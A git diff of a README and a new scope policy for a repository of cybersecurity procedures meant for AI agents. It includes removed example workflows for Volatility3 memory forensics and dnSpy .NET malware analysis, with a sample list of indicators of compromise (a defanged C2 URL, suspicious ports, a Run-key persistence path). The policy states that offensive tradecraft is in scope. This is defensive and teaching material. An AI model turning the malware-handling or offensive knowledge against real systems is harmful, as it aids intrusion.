-  Analyze memory dumps to extract running processes, network connections,
-  injected code, and malware artifacts using Volatility3 framework.
-domain: cybersecurity
-subdomain: digital-forensics
-tags: [forensics, memory-analysis, volatility3, incident-response, dfir]
-version: "1.0"
-author: mukul975
-license: Apache-2.0
----
-```
-
-**Required fields:** `name` (kebab-case, 1–64 chars), `description` (keyword-rich for agent discovery), `domain`, `subdomain`, `tags`
-
-**Optional fields:** `version`, `author`, `license`
-
----
-
-## 🗺️ MITRE ATT&CK and NIST CSF 2.0 coverage
-
-This collection provides **comprehensive coverage** of the two most widely adopted cybersecurity frameworks in the industry.
-
-### MITRE ATT&CK Enterprise
-
-All **14 Enterprise tactics** are covered, with skills mapped to **200+ individual techniques**:
-
-| Tactic | Coverage | Example skills |
-|:-------|:--------:|:---------------|
-| Reconnaissance | ✅ | OSINT gathering, domain enumeration, social engineering recon |
-| Resource Development | ✅ | Infrastructure profiling, certificate analysis |
-| Initial Access | ✅ | Phishing analysis, exploit detection, supply chain review |
-| Execution | ✅ | Script analysis, command-line forensics, scheduled task audit |
-| Persistence | ✅ | Registry analysis, startup item review, implant detection |
-| Privilege Escalation | ✅ | Token manipulation detection, UAC bypass analysis |
-| Defense Evasion | ✅ | Process injection detection, obfuscation analysis |
-| Credential Access | ✅ | Credential dumping detection, Kerberoasting defense |
-| Discovery | ✅ | Network scanning detection, AD enumeration monitoring |
-| Lateral Movement | ✅ | Pass-the-hash detection, RDP abuse monitoring |
-| Collection | ✅ | Data staging detection, screen capture forensics |
-| Command and Control | ✅ | C2 beaconing detection, DNS tunneling analysis |
-| Exfiltration | ✅ | Data transfer monitoring, covert channel detection |
-| Impact | ✅ | Ransomware response, data destruction forensics |
-
-### NIST CSF 2.0 alignment
-
-Every skill maps to one or more **NIST Cybersecurity Framework 2.0** functions:
-
-- **Identify (ID)** — Asset management, risk assessment, governance skills
-- **Protect (PR)** — Access control, awareness training, data security skills
-- **Detect (DE)** — Anomaly detection, continuous monitoring, event analysis skills
-- **Respond (RS)** — Incident response, mitigation, communication skills
-- **Recover (RC)** — Recovery planning, improvement, communication skills
-
-> An ATT&CK Navigator layer file is included in the v1.1.0 release for visual coverage mapping.
-
----
-
-## 🧠 How AI agents use these cybersecurity skills
-
-Skills use a **progressive disclosure pattern** that minimizes token usage while maximizing agent capability. Here's what happens when you ask your AI agent to "analyze this memory dump for signs of compromise":
-
-### Stage 1 · Discovery (~30–50 tokens per skill)
-
-The agent scans **only YAML frontmatter** across all 753 skills. Each scan costs ~30–50 tokens — the entire collection can be indexed for under 40K tokens. The agent matches your task against `name`, `description`, `subdomain`, and `tags` fields to find relevant skills.
-
-```yaml
-# Agent reads ONLY this:
-name: performing-memory-forensics-with-volatility3
-description: Analyze memory dumps to extract processes, network connections, and malware artifacts using Volatility3.
-subdomain: digital-forensics
-tags: [forensics, memory-analysis, volatility3, incident-response]
-```
-
-### Stage 2 · Full workflow load (~200–500 tokens)
-
-Once a skill matches, the agent loads the **complete `SKILL.md` body** — trigger conditions, prerequisites, step-by-step workflow, and verification checks. This gives the agent a structured playbook to follow.
-
-### Stage 3 · Deep reference access (on demand)
-
-For complex tasks, the agent pulls in **supporting files** from `references/`, `scripts/`, and `assets/` — NIST standards mappings, detailed technical procedures, helper scripts, and report templates. These files are loaded only when the agent needs deeper context.
-
-> **Result:** Irrelevant skills cost ~30 tokens. Relevant skills provide complete, structured, expert-level guidance. No wasted context window.
-
----
-
-## 📝 Example cybersecurity skills
-
-<details>
-<summary><b>🔍 Memory forensics with Volatility3</b> — DFIR domain</summary>
-
-````yaml
----
-name: performing-memory-forensics-with-volatility3
 description: >-
   Analyze memory dumps to extract running processes, network connections,
   injected code, and malware artifacts using the Volatility3 framework.
 domain: cybersecurity
 subdomain: digital-forensics
 tags: [forensics, memory-analysis, volatility3, incident-response, dfir]
-version: "1.0"
+atlas_techniques: [AML.T0047]
+d3fend_techniques: [D3-MA, D3-PSMD]
+nist_ai_rmf: [MEASURE-2.6]
+nist_csf: [DE.CM-01, RS.AN-03]
+version: "1.2"
 author: mukul975
 license: Apache-2.0
 ---
+```
 
+
+### Markdown body sections
+
+```markdown
 ## When to Use
-
-- Incident responder needs to analyze a memory dump from a compromised host
-- Investigating potential malware infection or lateral movement
-- Extracting indicators of compromise (IOCs) from volatile memory
-- Identifying injected code, hidden processes, or rootkit activity
-- Memory dump file (.raw, .mem, .dmp, .vmem) is available for analysis
+Trigger conditions — when should an AI agent activate this skill?
 
 ## Prerequisites
-
-- **Volatility3** installed (`pip install volatility3`)
-- Memory dump file acquired from target system
-- **Python 3.8+** runtime environment
-- Symbol tables for target OS (auto-downloaded by Volatility3)
-- Sufficient disk space for analysis output (~2x memory dump size)
+Required tools, access levels, and environment setup.
 
 ## Workflow
-
-### Step 1 — Identify the operating system profile
-
-Run the banner and `windows.info` (or `linux.info` / `mac.info`) plugin to
-auto-detect the OS version and confirm the dump is valid:
-
-```bash
-vol -f memory.raw windows.info
-```
-
-### Step 2 — List running processes
-
-Extract the process tree to identify suspicious or unexpected processes:
-
-```bash
-vol -f memory.raw windows.pslist
-vol -f memory.raw windows.pstree
-vol -f memory.raw windows.psscan    # Finds hidden/unlinked processes
-```
-
-Look for: unusual parent-child relationships, processes with suspicious names,
-processes running from temp directories, unsigned executables.
-
-### Step 3 — Analyze network connections
-
-Extract active and closed network connections:
-
-```bash
-vol -f memory.raw windows.netscan
-vol -f memory.raw windows.netstat
-```
-
-Flag: connections to known-bad IPs, unusual ports (4444, 8443, 1337),
-beaconing patterns, connections from non-browser processes.
-
-### Step 4 — Detect code injection
-
-Scan for injected code in process memory:
-
-```bash
-vol -f memory.raw windows.malfind
-```
-
-Review output for: PAGE_EXECUTE_READWRITE memory regions, MZ headers in
-non-image regions, shellcode signatures, hollow process indicators.
-
-### Step 5 — Extract artifacts
-
-Dump suspicious processes, DLLs, and drivers for further analysis:
-
-```bash
-vol -f memory.raw windows.dumpfiles --pid <PID>
-vol -f memory.raw windows.dlllist --pid <PID>
-vol -f memory.raw windows.handles --pid <PID>
-```
-
-### Step 6 — Check persistence mechanisms
-
-Examine registry hives and services loaded in memory:
-
-```bash
-vol -f memory.raw windows.registry.hivelist
-vol -f memory.raw windows.svcscan
-vol -f memory.raw windows.cmdline
-```
+Step-by-step execution guide with specific commands and decision points.
 
 ## Verification
+How to confirm the skill was executed successfully.
+```
 
-- [ ] OS profile correctly identified and dump validated
-- [ ] Complete process tree exported and anomalies flagged
-- [ ] Network connections reviewed and suspicious IPs documented
-- [ ] Malfind output reviewed — injected code regions identified
-- [ ] Suspicious binaries dumped for downstream malware analysis
-- [ ] IOCs extracted (IPs, domains, file hashes, mutex names)
-- [ ] Findings documented in incident report with timestamps
-````
+Frontmatter fields: `name` (kebab-case, 1–64 chars), `description` (keyword-rich for agent discovery), `domain`, `subdomain`, `tags`,  `atlas_techniques` (MITRE ATLAS IDs), `d3fend_techniques` (MITRE D3FEND IDs), `nist_ai_rmf` (NIST AI RMF references), `nist_csf` (NIST CSF 2.0 categories).  MITRE ATT&CK technique mappings are documented in each skill's `references/standards.md` file and in the ATT&CK Navigator layer included with releases. 
+
+<details>
+<summary><strong>📊 MITRE ATT&CK Enterprise coverage — all 15 tactics</strong></summary>
+
+&nbsp;
+
+| Tactic | ID | Coverage | Key skills |
+|---|---|---|---|
+| Reconnaissance | TA0043 | Strong | OSINT, subdomain enumeration, DNS recon |
+| Resource Development | TA0042 | Moderate | Phishing infrastructure, C2 setup detection |
+| Initial Access | TA0001 | Strong | Phishing simulation, exploit detection, forced browsing |
+| Execution | TA0002 | Strong | PowerShell analysis, fileless malware, script block logging |
+| Persistence | TA0003 | Strong | Scheduled tasks, registry, service accounts, LOTL |
+| Privilege Escalation | TA0004 | Strong | Kerberoasting, AD attacks, cloud privilege escalation |
+| Stealth | TA0005 | Strong | Obfuscation, rootkit analysis, evasion detection |
+| Defense Impairment | TA0112 | Moderate | Impair Defenses (T1562), log/indicator removal, EDR tampering |
+| Credential Access | TA0006 | Strong | Mimikatz detection, pass-the-hash, credential dumping |
+| Discovery | TA0007 | Moderate | BloodHound, AD enumeration, network scanning |
+| Lateral Movement | TA0008 | Strong | SMB exploits, lateral movement detection with Splunk |
+| Collection | TA0009 | Moderate | Email forensics, data staging detection |
+| Command and Control | TA0011 | Strong | C2 beaconing, DNS tunneling, Cobalt Strike analysis |
+| Exfiltration | TA0010 | Strong | DNS exfiltration, DLP controls, data loss detection |
+| Impact | TA0040 | Strong | Ransomware defense, encryption analysis, recovery |
+
+An **ATT&CK Navigator layer file** is included in the [v1.0.0 release assets](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases/tag/v1.0.0) for visual coverage mapping. 
+
+> **Note:** ATT&CK v19 lands April 28, 2026 — splitting Defense Evasion (TA0005) into two new tactics: *Stealth* and *Impair Defenses*.  Skill mappings will be updated in a forthcoming release.
 
 </details>
 
 <details>
-<summary><b>🦠 Reverse engineering .NET malware with dnSpy</b> — Malware Analysis domain</summary>
+<summary><strong>📊 NIST CSF 2.0 alignment — all 6 functions</strong></summary>
 
-````yaml
----
-name: analyzing-dotnet-malware-with-dnspy
-description: >-
-  Decompile, analyze, and extract IOCs from .NET-based malware samples
-  using dnSpy for static analysis and behavioral understanding.
-domain: cybersecurity
-subdomain: malware-analysis
-tags: [malware, reverse-engineering, dotnet, dnspy, static-analysis]
-version: "1.0"
-author: mukul975
-license: Apache-2.0
----
+&nbsp;
 
-## When to Use
+| Function | Skills | Examples |
+|---|---|---|
+| **Govern (GV)** | 30+ | Risk strategy, policy frameworks, roles & responsibilities |
+| **Identify (ID)** | 120+ | Asset discovery, threat landscape assessment, risk analysis |
+| **Protect (PR)** | 150+ | IAM hardening, WAF rules, zero trust, encryption |
+| **Detect (DE)** | 200+ | Threat hunting, SIEM correlation, anomaly detection |
+| **Respond (RS)** | 160+ | Incident response, forensics, breach containment |
+| **Recover (RC)** | 40+ | Ransomware recovery, BCP, disaster recovery |
 
-- Triaging a suspected .NET malware sample (.exe or .dll compiled with CLR)
-- Extracting hardcoded C2 URLs, encryption keys, or configuration data
-- Understanding malware behavior before dynamic analysis
-- Analyzing obfuscated .NET payloads (ConfuserEx, SmartAssembly, etc.)
-- Building detection signatures (YARA, Sigma) from decompiled source
-
-## Prerequisites
-
-- **dnSpy** (or dnSpyEx fork) installed on analysis workstation
-- Isolated malware analysis environment (VM with snapshots)
-- **PE analysis tool** (CFF Explorer, PE-bear, or pestudio) for initial triage
-- **de4dot** for automated .NET deobfuscation
-- Sample SHA256 hash documented before analysis begins
-- Network monitoring tools (Wireshark/FakeNet-NG) for dynamic validation
-
-## Workflow
-
-### Step 1 — Initial triage and environment setup
-
-Confirm the sample is a .NET assembly before opening in dnSpy:
-
-```bash
-# Check for CLR metadata
-file sample.exe
-# Look for .NET version string, mscoree.dll import
-pestudio sample.exe
-```
-
-Take a VM snapshot. Disable network adapters. Document sample hash.
-
-### Step 2 — Deobfuscate if protected
-
-Many .NET malware families use obfuscation. Run de4dot first:
-
-```bash
-de4dot sample.exe -o sample_clean.exe
-```
-
-Check output log for identified obfuscator (ConfuserEx, Dotfuscator,
-SmartAssembly, Babel, Eazfuscator). If de4dot fails, note the packer
-for manual unpacking in dnSpy.
-
-### Step 3 — Load and explore in dnSpy
-
-Open the cleaned binary in dnSpy. Start with high-level reconnaissance:
-
-1. **Assembly Explorer** — Review namespaces, classes, entry point
-2. **Entry point** (`Main()` or module initializer) — Trace execution flow
-3. **Resources** — Check for embedded payloads, encrypted configs
-4. **String references** — Search for URLs, IP addresses, registry keys
-5. **References** — Note any P/Invoke calls (Win32 API) indicating native interaction
-
-### Step 4 — Identify C2 infrastructure and configuration
-
-Search decompiled source for network indicators:
-
-- Hardcoded URLs, IP addresses, domain names
-- Base64-encoded strings (decode in CyberChef)
-- XOR / AES decryption routines with embedded keys
-- HTTP User-Agent strings, custom headers
-- Registry keys or file paths used for persistence
-
-Set breakpoints in dnSpy debugger at decryption functions to capture
-plaintext config at runtime if static extraction fails.
-
-### Step 5 — Map capabilities to MITRE ATT&CK
-
-Document each observed capability:
-
-- **Execution method** — Process injection, scheduled tasks, WMI
-- **Persistence** — Registry Run keys, startup folder, services
-- **Credential access** — Browser credential theft, keylogging
-- **Exfiltration** — HTTP POST, DNS tunneling, cloud storage APIs
-- **Evasion** — Anti-VM checks, sleep timers, sandbox detection
-
-### Step 6 — Extract IOCs and build detections
-
-Compile all indicators into a structured IOC list:
-
-```
-# Network IOCs
-C2: https://evil-domain[.]com/gate.php
-User-Agent: Mozilla/5.0 (compatible; MSIE 10.0)
-DNS: ns1.malware-c2[.]net
-
-# Host IOCs
-Mutex: Global\{GUID-HERE}
-Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost
-File: %APPDATA%\svchost.exe (SHA256: abc123...)
-```
-
-Write YARA rule targeting unique strings or byte patterns.
-
-## Verification
-
-- [ ] Sample identified as .NET assembly and hash documented
-- [ ] Deobfuscation attempted — obfuscator identified and handled
-- [ ] Entry point traced — full execution flow mapped
-- [ ] C2 infrastructure extracted (URLs, IPs, domains, ports)
-- [ ] Encryption keys / decryption routines documented
-- [ ] Capabilities mapped to MITRE ATT&CK techniques
-- [ ] IOC list exported in structured format (STIX, OpenIOC, or CSV)
-- [ ] YARA detection rule written and tested against sample
-````
+NIST CSF 2.0 (February 2024) added the **Govern** function  and expanded scope from critical infrastructure to all organizations.  Skill mappings align to all 22 categories and reference 106 subcategories. 
 
 </details>
 
----
+<details>
+<summary><strong>📊 Framework deep dive — ATLAS, D3FEND, AI RMF</strong></summary>
 
-## 👥 Contributors
+&nbsp;
 
-Thanks to these wonderful people for building the largest open-source cybersecurity skills collection:
+### MITRE ATLAS 2026.07 — AI/ML adversarial threats
+ATLAS maps adversarial tactics, techniques, and case studies specific to AI and machine learning systems. Release 2026.07 covers **101 techniques and 77 sub-techniques** including agentic AI attack vectors added in late 2025: AI agent context poisoning, tool invocation abuse, MCP server compromises, and malicious agent deployment.  Skills mapped to ATLAS help agents identify and defend against threats to ML pipelines, model weights, inference APIs, and autonomous workflows. 
 
-<!-- ALL-CONTRIBUTORS-LIST:START -->
-<a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/graphs/contributors">
-  <img src="https://contrib.rocks/image?repo=mukul975/Anthropic-Cybersecurity-Skills" />
+### MITRE D3FEND v1.4.0 — Defensive countermeasures
+D3FEND is an NSA-funded knowledge graph of **270 defensive techniques** organized across 7 tactical categories: Model, Harden, Detect, Isolate, Deceive, Evict, and Restore.  Built on OWL 2 ontology, it uses a shared Digital Artifact layer to bidirectionally map defensive countermeasures to ATT&CK offensive techniques.  Skills tagged with D3FEND identifiers let agents recommend specific countermeasures for detected threats.
+
+### NIST AI RMF 1.0 + GenAI Profile (AI 600-1)
+The AI Risk Management Framework defines 4 core functions — Govern, Map, Measure, Manage — with **72 subcategories** for trustworthy AI development.  The GenAI Profile (AI 600-1, July 2024) adds **12 risk categories** specific to generative AI, from confabulation and data privacy to prompt injection and supply chain risks.  Colorado's AI Act (effective February 2026) provides a **legal safe harbor** for organizations complying with NIST AI RMF, making these mappings directly relevant to regulatory compliance.
+
+</details>
+
+## Compatible platforms
+
+**AI code assistants**
+Claude Code (Anthropic) · GitHub Copilot (Microsoft) · Cursor · Windsurf · Cline · Aider · Continue · Roo Code · Amazon Q Developer · Tabnine · Sourcegraph Cody · JetBrains AI 
+
+**CLI agents**
+OpenAI Codex CLI · Gemini CLI (Google) 
+
+**Autonomous agents**
+Devin · Replit Agent · SWE-agent · OpenHands 
+
+**Agent frameworks & SDKs**
+LangChain · CrewAI · AutoGen · Semantic Kernel · Haystack · Vercel AI SDK · Any MCP-compatible agent 
+
+All platforms that support the [agentskills.io](https://agentskills.io) standard can load these skills with zero configuration. 
+
+## What people are saying
+
+> *"A database of real, organized security skills that any AI agent can plug into and use. Not tutorials. Not blog posts."* 
+> — **[Hasan Toor (@hasantoxr)](https://x.com/hasantoxr/status/2033193922349179249)**, AI/tech creator
+
+> *"This is not a random collection of security scripts. It's a structured operational knowledge base designed for AI-driven security workflows."* 
+> — **[fazal-sec](https://fazal-sec.medium.com/claude-skills-ai-powered-cybersecurity-the-complete-guide-to-building-intelligent-security-7bb7e9d14c8e)**,  Medium
+
+## Featured in
+
+| Where | Type | Link |
+|---|---|---|
+| **awesome-agent-skills** | Awesome List (1,000+ skills index) | [VoltAgent/awesome-agent-skills](https://github.com/VoltAgent/awesome-agent-skills) |
+| **awesome-ai-security** | Awesome List (AI security tools) | [ottosulin/awesome-ai-security](https://github.com/ottosulin/awesome-ai-security) |
+| **awesome-codex-cli** | Awesome List (Codex CLI resources) | [RoggeOhta/awesome-codex-cli](https://github.com/RoggeOhta/awesome-codex-cli) |
+| **SkillsLLM** | Skills directory & marketplace | [skillsllm.com/skill/anthropic-cybersecurity-skills](https://skillsllm.com/skill/anthropic-cybersecurity-skills) |
+| **Openflows** | Signal analysis & tracking | [openflows.org](https://openflows.org/currency/currents/anthropic-cybersecurity-skills/) |
+| **NeverSight skills_feed** | Automated skills index | [NeverSight/skills_feed](https://github.com/NeverSight/skills_feed) |
+
+## Star history
+
+<a href="https://star-history.dera.page/#mukul975/Anthropic-Cybersecurity-Skills&Date">
+ <picture>
+   <source media="(prefers-color-scheme: dark)" srcset="https://star-history.dera.page/svg?repos=mukul975/Anthropic-Cybersecurity-Skills&type=Date&theme=dark" />
+   <source media="(prefers-color-scheme: light)" srcset="https://star-history.dera.page/svg?repos=mukul975/Anthropic-Cybersecurity-Skills&type=Date" />
+   <img alt="Star History Chart" src="https://star-history.dera.page/svg?repos=mukul975/Anthropic-Cybersecurity-Skills&type=Date" width="100%" />
+ </picture>
 </a>
-<!-- ALL-CONTRIBUTORS-LIST:END -->
 
-Want to see your name here? Check out the [contributing guide](#-contributing-to-cybersecurity-ai-skills) below.
+## Releases
 
----
+| Version | Date | Highlights |
+|---|---|---|
+| [v1.0.0](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases/tag/v1.0.0) | March 11, 2026 | 734 skills · 26 domains · MITRE ATT&CK + NIST CSF 2.0 mapping · ATT&CK Navigator layer |
 
-## 🤝 Contributing to cybersecurity AI skills
+Skills have continued to grow on `main` since v1.0.0 — the library now contains **818 skills** with **6-framework mapping**  (MITRE ATLAS, D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework added post-release).  Check [Releases](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases) for the latest tagged version.
 
-This project hit **3.5k stars in two weeks** — the community momentum is real. With **328 forks**, **9 open PRs**, and security professionals from around the world getting involved, now is the perfect time to contribute.
+## Contributing
 
-We welcome four types of contributions:
+This project grows through community contributions. Here is how to get involved:
 
-| Type | Description | Good for |
-|:-----|:------------|:---------|
-| 🆕 **New skills** | Add skills for uncovered techniques or domains | Security practitioners, pen testers, IR analysts |
-| 📖 **Improve existing skills** | Enhance workflows, add edge cases, fix errors | Anyone who uses the skills and spots improvements |
-| 🌍 **Translations & i18n** | Help make skills accessible to non-English speakers | Multilingual security professionals |
-| 🐛 **Bug reports & feedback** | Report issues, suggest improvements, review PRs | Everyone — all experience levels welcome |
+**Add a new skill** — Read [SCOPE.md](SCOPE.md) first, then the template in [CONTRIBUTING.md](CONTRIBUTING.md). The thinnest domains are the ones most worth adding to: Data Protection and Purple Team have one skill each, and Blockchain Security, Wireless Security and Privacy Compliance have two. Submit one skill per PR, with the title `Add skill: your-skill-name`.
 
-### How to get started
+**Improve existing skills** — Add framework mappings, fix workflows, update tool references, or contribute scripts and templates. Deepening a skill that already exists is worth as much to this library as adding a new one.
 
-1. **Browse [open issues](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues)** — look for `good first issue` and `help wanted` labels
-2. **Read [`CONTRIBUTING.md`](CONTRIBUTING.md)** for the full skill template and submission guidelines
-3. **Fork the repo**, create your skill directory under `skills/`, and submit a PR
-4. **Title format:** `Add skill: your-skill-name-here`
+**Report issues** — Found an inaccurate procedure or broken script? [Open an issue](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues).
 
-> Every PR gets reviewed for technical accuracy and consistency with the agentskills.io standard. We aim to review within 48 hours.
+Every PR is reviewed for technical accuracy and agentskills.io standard compliance. I do that review myself, and the queue is currently longer than I would like — some pull requests have been open for months. I am working through them, and small, focused PRs move fastest. Check [good first issues](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) for a starting point.
 
----
+This project follows the [Contributor Covenant](https://www.contributor-covenant.org/). By participating, you agree to uphold this code.
 
-## ⭐ Star history
+## 🙏 Thanks to our contributors
 
-[![Star History Chart](https://api.star-history.com/svg?repos=mukul975/Anthropic-Cybersecurity-Skills&type=Date)](https://star-history.com/#mukul975/Anthropic-Cybersecurity-Skills&Date)
-
----
-
-## 🌐 Community
+This library is built by the community. Thank you to everyone who has contributed:
 
+<!-- contributors:start -->
 <p align="center">
-  <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers">⭐ Star this repo</a> ·
-  <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/fork">🍴 Fork it</a> ·
-  <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions">💬 Discuss</a> ·
-  <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues/new">📝 Open an issue</a>
+<a href="https://github.com/mukul975" title="mukul975 — maintainer"><img src="https://github.com/mukul975.png?size=100" width="72" height="72" alt="@mukul975"></a>
+<a href="https://github.com/valorisa" title="valorisa — 18 contributions"><img src="https://github.com/valorisa.png?size=100" width="72" height="72" alt="@valorisa"></a>
+<a href="https://github.com/juliosuas" title="juliosuas — 13 contributions"><img src="https://github.com/juliosuas.png?size=100" width="72" height="72" alt="@juliosuas"></a>
+<a href="https://github.com/Daytona39264" title="Daytona39264 — 3 contributions"><img src="https://github.com/Daytona39264.png?size=100" width="72" height="72" alt="@Daytona39264"></a>
+<a href="https://github.com/kevglynn" title="kevglynn — 2 contributions"><img src="https://github.com/kevglynn.png?size=100" width="72" height="72" alt="@kevglynn"></a>
+<a href="https://github.com/andrewibrah" title="andrewibrah — 2 contributions"><img src="https://github.com/andrewibrah.png?size=100" width="72" height="72" alt="@andrewibrah"></a>
+<a href="https://github.com/Bortlesboat" title="Bortlesboat — 1 contribution"><img src="https://github.com/Bortlesboat.png?size=100" width="72" height="72" alt="@Bortlesboat"></a>
+<a href="https://github.com/DevRedious" title="DevRedious — 1 contribution"><img src="https://github.com/DevRedious.png?size=100" width="72" height="72" alt="@DevRedious"></a>
+<a href="https://github.com/ioxoi" title="ioxoi — 1 contribution"><img src="https://github.com/ioxoi.png?size=100" width="72" height="72" alt="@ioxoi"></a>
+<a href="https://github.com/OctoBored" title="OctoBored — 1 contribution"><img src="https://github.com/OctoBored.png?size=100" width="72" height="72" alt="@OctoBored"></a>
+<a href="https://github.com/shanujans" title="shanujans — 1 contribution"><img src="https://github.com/shanujans.png?size=100" width="72" height="72" alt="@shanujans"></a>
+<a href="https://github.com/farhan6667" title="farhan6667 — 1 contribution"><img src="https://github.com/farhan6667.png?size=100" width="72" height="72" alt="@farhan6667"></a>
+<a href="https://github.com/nyxst4ck" title="nyxst4ck — 1 contribution"><img src="https://github.com/nyxst4ck.png?size=100" width="72" height="72" alt="@nyxst4ck"></a>
+<a href="https://github.com/dakshverma23" title="dakshverma23 — 1 contribution"><img src="https://github.com/dakshverma23.png?size=100" width="72" height="72" alt="@dakshverma23"></a>
 </p>
 
-If this project saves you time or makes your AI agent more capable, **give it a ⭐** — it helps others discover these skills and keeps the community growing.
+<p align="center"><sub>14 contributors, ordered by contribution count · see the full <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/graphs/contributors">contributor graph</a></sub></p>
+<!-- contributors:end -->
+
+## Community
+
+💬 [Discussions](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions) — Questions, ideas, and roadmap conversations
+🐛 [Issues](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues) — Bug reports and feature requests
+🔒 [Security Policy](SECURITY.md) — Responsible disclosure process (48-hour acknowledgment) 
+
+## Citation
+
+If you use this project in research or publications:
+
+```bibtex
+@software{anthropic_cybersecurity_skills,
+  author       = {Jangra, Mahipal},
+  title        = {Anthropic Cybersecurity Skills},
+  year         = {2026},
+  url          = {https://github.com/mukul975/Anthropic-Cybersecurity-Skills},
+  license      = {Apache-2.0},
+  note         = {818 structured cybersecurity skills for AI agents,
+                  mapped to MITRE ATT\&CK, NIST CSF 2.0, MITRE ATLAS,
+                  MITRE D3FEND, and NIST AI RMF}
+}
+```
+
+## License
+
+This project is licensed under the [Apache License 2.0](LICENSE). You are free to use, modify, and distribute these skills in both personal and commercial projects. 
 
 ---
 
-## 📄 License
+<div align="center">
 
-This project is licensed under the **Apache License 2.0** — see the [`LICENSE`](LICENSE) file for details.
+**If this project helps your security work, consider giving it a ⭐**
 
-You are free to use, modify, and distribute these skills in both personal and commercial projects. Attribution is appreciated but not required.
+[⭐ Star](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers) · [🍴 Fork](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/fork) · [💬 Discuss](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions) · [📝 Contribute](CONTRIBUTING.md)
 
----
+Community project by [@mukul975](https://github.com/mukul975). Not affiliated with Anthropic PBC.
 
-<p align="center">
-  <sub>
-    <b>⚠️ Disclaimer:</b> This is an independent, community-created project. <b>Not affiliated with Anthropic PBC.</b><br/>
-    "Anthropic" in the repository name refers to compatibility with the <a href="https://agentskills.io">agentskills.io</a> open standard,<br/>
-    not official Anthropic endorsement or affiliation. All trademarks belong to their respective owners.
-  </sub>
-</p>
+</div>

SCOPE.md

@@ -0,0 +1,82 @@
+# Scope
+
+This document defines what belongs in this repository and what does not.
+
+It exists so the answer is available *before* the work is done rather than after it. Several of the pull requests I have had to decline were good work aimed at the wrong repository, and that is a documentation failure on my side, not a failure on the contributor's.
+
+This repository is a catalogue. It holds cybersecurity procedures — 817 of them today — written so that an AI agent can read one and carry out a security task competently. Everything that ships here serves that one purpose. Work that does not serve it is out of scope regardless of how good it is, and is usually better off in its own repository, where it can be versioned, released and credited on its own terms.
+
+## These rules apply going forward
+
+This document is new. Until now the repository had no written scope, which is exactly why some contributors built things I then could not merge.
+
+So: nothing here is applied retroactively as a reason to close a pull request that was already open when it landed. Every open PR will be worked through as it was filed, on its own merits, and where I decline one I will give the reason in the thread rather than pointing at a rule that did not exist when the work was done.
+
+I should also say plainly that the review queue is longer than it should be — some pull requests have been waiting months. That is on me, not on the people who sent them, and raising the bar on new contributions does not excuse it. I am working through the backlog.
+
+## What a skill is
+
+A skill is one named security procedure that an agent can execute end to end.
+
+On disk it is a single flat directory:
+
+```
+skills/your-skill-name/
+├── SKILL.md          # YAML frontmatter + the procedure
+├── LICENSE
+├── references/       # api-reference.md, standards.md, workflows.md
+├── scripts/          # agent.py, process.py, or another real helper
+└── assets/           # optional: template.md, filled-in checklists
+```
+
+The namespace is flat and global. `skills/` is not nested by category; the category lives in the `subdomain` frontmatter field, which must be one of the values accepted by `tools/validate-skill.py`. All 817 skills today carry `SKILL.md`, `references/` and `scripts/`; 816 carry a `LICENSE` and 421 also carry `assets/`. The most common supporting files are `references/api-reference.md` (810 skills) and `scripts/agent.py` (809).
+
+A submission is a skill when all of the following hold.
+
+**It is a procedure, not a subject.** By convention the directory name is a gerund phrase naming the task — `analyzing-…`, `detecting-…`, `implementing-…`, `hunting-…`, `performing-…` — and 807 of the 817 current names follow it. CI enforces kebab-case, not the gerund, so treat this as the house style rather than a gate. Background material about a topic belongs in a skill's `references/`, not in a directory of its own.
+
+**It is atomic.** One procedure per skill. A body carrying three unrelated workflows is either three skills, or one skill and two reference files.
+
+**It is executable.** Real commands, real flags, real tool names, real paths. No placeholders, no `TODO`, no prose standing in for a command nobody ran.
+
+**Its description routes.** The description is the only text an agent sees when deciding whether to load the skill. It has to say what the skill does, when to fire, which keywords match, and what it is *not* for — naming the nearest neighbouring skill. The 33 container-security skills are the current reference for that standard.
+
+**It is distinct.** It does not restate a skill that already exists. See *Overlap* in [CONTRIBUTING.md](CONTRIBUTING.md).
+
+**It passes CI.** Five gates run on every push and pull request that touches `skills/` or `tools/`: frontmatter validation, agentskills.io conformance, `index.json` freshness, description linting, and a near-duplicate ratchet. A documentation-only PR does not trigger them, so do not read an empty checks list as a pass. CONTRIBUTING.md lists the commands to run them locally.
+
+## Offensive and dual-use content is in scope
+
+This library deliberately covers red-team tradecraft, exploitation, C2, phishing simulation and adversary emulation alongside defence. A defender's agent that has never seen the offensive procedure detects it badly.
+
+Offensive skills are in scope on exactly the same terms as everything else, subject to the authorised-use notice in [README.md](README.md). Nothing in this document is a reason to decline a skill for being offensive. If I decline one, the reason will be scope, overlap or accuracy, and I will say which.
+
+## Out of scope
+
+**Runtimes, engines, orchestrators and agent frameworks.** Code that loads, serves, routes or executes skills — MCP servers, agent harnesses, skill-browser web UIs, "foundation" or "platform" layers that turn the catalogue into a product.
+
+**Applications built on the catalogue.** A tool that consumes these skills is a good thing to build and I will happily link it from the README. It is not a directory in this repository.
+
+**A second toolchain.** `tools/` already holds a frontmatter validator, an agentskills.io conformance checker, an index generator, a description linter and a collision detector — all sharing one PyYAML-backed loader, all wired into CI. A new independent validator competes with those rather than improving them. Extend the existing tool and the existing gate; a PR that makes `tools/lint-descriptions.py` stricter is far more welcome than a new linter beside it.
+
